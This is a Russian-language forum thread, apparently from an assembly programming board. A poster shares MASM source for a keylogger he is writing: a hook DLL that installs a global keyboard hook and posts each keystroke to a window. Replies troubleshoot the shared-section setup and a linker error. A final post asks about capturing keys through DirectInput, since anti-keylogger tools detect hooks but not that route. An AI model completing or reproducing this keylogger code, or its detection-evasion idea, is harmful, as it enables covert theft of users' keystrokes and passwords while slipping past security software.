Пишу клавиатурный шпион... Почему-то после GetMessage,после зарузки значений структуры в EAX одни нули??? Может хук не так устанавливаю?? SNIFFER.ASM: Код (Text): LOCAL msg : MSG LOCAL mHndl : DWORD invoke GetModuleHandle,NULL mov [mHndl],eax invoke InstallHook,eax GetMessage_: invoke GetMessage,ADDR msg,NULL,0,0 mov eax,msg.hwnd ;0 mov eax,msg.message ;0 mov eax,msg.wParam ;0 mov eax,msg.lParam ;0 invoke TranslateMessage, ADDR msg jmp GetMessage_ ret HOOK.DLL: DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD push [hInstDLL] pop [hInstPR] mov eax,TRUE ret DllEntry Endp InstallHook proc hInst:DWORD push [hInst] pop [hWnd] push NULL push [hInstPR] lea eax,Keyboard_Hook push eax push WH_KEYBOARD call SetWindowsHookEx mov [hHook],eax ret InstallHook endp Keyboard_Hook proc nCode:DWORD,wParam:DWORD,lParam:DWORD invoke PostMessage,[hWnd],WM_KEYBOARDHOOK,wParam,lParam invoke CallNextHookEx,[hHook],nCode,wParam,lParam xor eax,eax ret Keyboard_Hook endp
У тя hWnd и hHook в отдельной разделяемой PE-секции находятся? Если нет, то ищи по форуму. Я уже раз 5 или 6 отвечал на подобный вопрос.
У меня проблема с /SECTION:.bss,S Линкую: LINK.EXE /SECTION:.bss,S /SUBSYSTEM:WINDOWS /RELEASE /DLL /DEF:$6 /LIBPATH:"$L" /OUT:"$7" Компилятор пишет LINK : fatal error LNK1117: syntax error in option 'SECTION:.bss'
Кто нить пробовал сделать клавиатурный шпиён с использованием DirectInput? Ведь ДиректИкса почти везде сейчас стоит. Наскоко я знаю, усе шпионоловилки ловят хуки. IDirectInputDevice не ловит пока никто.